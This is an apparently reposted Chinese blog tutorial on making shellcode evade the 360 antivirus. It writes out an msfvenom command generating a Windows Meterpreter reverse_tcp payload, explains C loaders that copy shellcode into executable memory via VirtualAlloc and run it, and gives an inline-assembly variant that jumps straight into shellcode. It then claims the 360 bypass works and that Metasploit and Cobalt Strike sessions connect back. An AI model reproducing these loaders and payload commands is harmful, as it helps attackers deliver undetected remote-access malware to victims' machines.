shellcode免殺丨C語言三條指令免殺360!你還困嗎?


shellcode免殺(1)C語言三條指令免殺360

✉ 1

簡介

描述有錯的地方各位師傅海涵。

經過一下午的C語言測試,得出了十多種過360的·方法,這里拿三種c的方式過360(思路大體相同),還有一個c++的免殺360和火絨都可以過等有時間都可以跟大家更新。

 

✉ 2

免殺過程

廢話就不多講了對於初學者友好發展,先看一遍制作過程,我們准備好msf和cs的shllecode

msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f c > shell.txt


 

CS生成shellcode,要用c語言的shellcode,每個語言的解析shellcode方式不同所以這里要選好語言形式。


 

接下來就是把這些shellcode放到源碼里進行免殺上線了,接下來的三種c語言免殺都是只能過360的,火絨動態被查,但是最后的C++是兩個都可以過的,先來看個正經c語言免殺

看下圖,沒錯c語言免殺就需要這點代碼,而且這是八年前的代碼,如果研究免殺的朋友應該很眼熟畢竟也是傳爛了,本文也主要為了解析免殺,我們來一步步分析。

從這里開始麻煩真的想學免殺的仔細閱讀,這是最簡單的入門,如果你看不下去就不要學了。


 

前三行其實就和Java,python的import一樣;第四行也就是我們箭頭指的這行是隱藏彈出窗口,也就是不讓控制台蹦出來,至於unsignedchar指無符號類型的字符數組,這里各位理解為擴容就行了.


 

下邊為代碼主要部分,pvoid就是指針,學過c語言的朋友都知道基本都用*代替了這里方便講解就用了本體類型

*P=null;//就是創建變量並且賦值

inta;//一樣的性質,*p= null其實就是inta =0;

typedefvoid(_stdcall*CODE) //給類型起別名,也可以用指針代替原函數,我們說的簡單點這里就是將_stdcall函數利用指針特性附給了我們自己起的CODE函數里,指針就是變量容器,但是指針存的是地址,也就是我把_stdcall的地址存到了CODE里所以它的值也都在里邊了,但是CODE還是CODE並有自己的地址。這里各位別深究,你就當繼承了就行。


 

這里是最主要的,我們詳細來講解一下。

VirtualAlloc,是win32的api函數,是用來申請動態內存的,動態內存我們可以通俗的理解為,主動式保護內存,可以根據我們自己決定是否存在;

打個比喻,一個蘋果吃完就沒有了,但是一整棵樹的蘋果你想吃哪個吃哪個,有的朋友可能會想這不還是能吃完么,當然了,內存又不是無限的,這個申請動態內存就是在有限的范圍留出你想要的地方。

VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//函數內參數(要分配的內存區域的地址,分配的大小,分配的類型, 該內存的初始保護屬性)

====================================

這里的NULL是讓系統自己分配內存地址;內存大小就是經典的sizeof了;

MEM_COMMIT |MEM_RESERVE:為特定的頁面區域分配內存中或磁盤的頁面文件中的物理內存,或保存地址而不分配物理存儲,也就是保留這一個地址隨時可利用;

PAGE_EXECUTE_READWRITE:可執行可讀模式,可以理解為申請權限;

到了這里我們來總結這串代碼具體意思:

“我申請了一塊土地,土地大小是shellcode,我要用這塊土地都給我騰出地,我不用這塊土地但這土地就是我的-我不用你們也不准用,這土地誰都能看明白是我的並且只有我可以動”

接下來看這塊,if那里就是如果沒有shellcode就直接結束進程了;


 

memcpy函數,拷貝內存數據,和我們平時用的copy一樣;

        ☆ p:容器,也就是要接受數據的目標數組;

        ☆ shellcode:復制的數據源;

        ☆ sizeof():復制的大小;

代碼解釋:把多大的code存到p指針里;

CODE=_stdcall,code=(_stdcall)p

這里要好好看,前邊我們已經給stdcall改了名字叫CODE,而stdcall的作用是從右向左壓棧,這里是函數詳細代碼解析,不會匯編的朋友跳過就行也沒必要深究本質;

pushebp 保存ebp寄存器,該寄存器將用來保存堆棧的棧頂指針,可以在函數退出時恢復mov ebp,esp 保存堆棧指針moveax,[ebp + 8H] 堆棧中ebp指向位置之前依次保存有。

ebp,cs:eip,a,b,ebp+8指向a

add eax,[ebp + 0CH] 堆棧中ebp+ 12處保存了b

mov esp,ebp 恢復esp

pop ebp

ret8

我們這里再把之前賦值給p的數據拿來

VirtualAlloc(NULL,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

從右向左,也就是先申請保護內存,可讀可用,之后占用好不讓別人動,大小為code大小,最后系統你看着辦給我個地兒。

最后使用code();

到這我們算是把這個代碼講解完了,進行總結:


 

准備好調用頭文件,其實和Java的依賴差不多;

        ▷ 把_stdcall改名為CODE,再隱藏彈窗;

        ▷ 將code存入shellcode數組;

        ▷ 創建指針變量p賦值為空方便存儲;

        ▷ 將VirtuallAlloc函數存入p申請動態內存並保護;

        ▷ 如果shellcode為空則結束;

        ▷ 復制shellcode進p;

        ▷ 從右向左壓棧;

        ▷ code()執行。

終於到了看效果的時候了,把我們的shellcode放進去並生成exe文件


 

來用360掃一下看看,沒有報毒


 

msf准備好監聽看看能否上線並操作,可以上線並操作


 

接下來看cs的


 

 

看看運行,上線


 

來看另外兩個免殺,只需要三行指令即可免殺


 

 

這里是嵌入式匯編呼叫ShellCode,學匯編的一看就明白了,鑒於很多開始專注於web滲透的師傅們很多不了解匯編我們這里簡單講解一下

#pragmacomment(linker, "/section:.data,RWE")
 VOIDmain() { __asm { mov eax,offset ShellCode jmp eax } }

 

#pragma comment(linker,"/section:.data,RWE"),這個等於之前的VirtualAlloc;

__asm內聯調用匯編語言達到不沖突可運行;

調用offset函數引用shellcode進入eax寄存器;

jmp無條件跳轉進eax寄存器執行;

====================================

沒錯,運用匯編就是這么輕松,加上創建內聯,實際只用兩條指令就可以輕松過360,過多的不介紹了,看運行結果


 

 

 

本來是想把C++的一起發出來的,可是沒想到C語言的就這么多了。

最后,若想滲透好,就別要男女朋友,對象只會影響你的大腦思考。(狗頭保命)

—— END ——

【值得關注】我的 編 程 學 習 交 流 俱 樂 部 !【進入領取】

—————————————

一起學習,一起交流,不管你是轉行也好,初學也罷,進階也可,如果你想學編程,進階程序員~

更多C語言入門資料(網盤鏈接免費分享):


 

全方位C語言書籍(PDF免費分享):


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM